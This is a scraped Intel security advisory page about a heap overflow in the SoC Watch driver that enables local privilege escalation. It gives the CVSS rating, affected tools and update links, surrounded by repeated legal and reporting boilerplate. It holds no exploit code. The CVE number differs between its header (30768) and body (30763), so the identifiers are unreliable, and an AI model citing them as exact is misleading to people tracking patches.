Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

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CVE-2023-30768: INTEL-SA-00056

Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

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*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

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**Intel® SoC Watch 2021 Advisory**

**Summary: **

A potential security vulnerability in the Intel® SoC Watch driver may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-30763

Description: Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H

**Affected Products:**

Intel® Battery Life Diagnostic Tool before version 1.2.

Intel® oneAPI Base Toolkit before version 2021.4.0.

**Recommendations:**

Intel recommends updating Intel® Battery Life Diagnostic Tool to version 1.2 or later.

Updates are available for download at this location:

https://downloadcenter.intel.com/download/29348/Intel-Battery-Life-Diagnostic-Tool

Intel recommends updating Intel® OneAPI Base Toolkit to version 2021.4.0 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/base-toolkit/download.html

**Acknowledgements:**

The following issue was found internally by Intel employees.  Intel would like to thank Anton Rechkov.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

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*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

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*   Product Support

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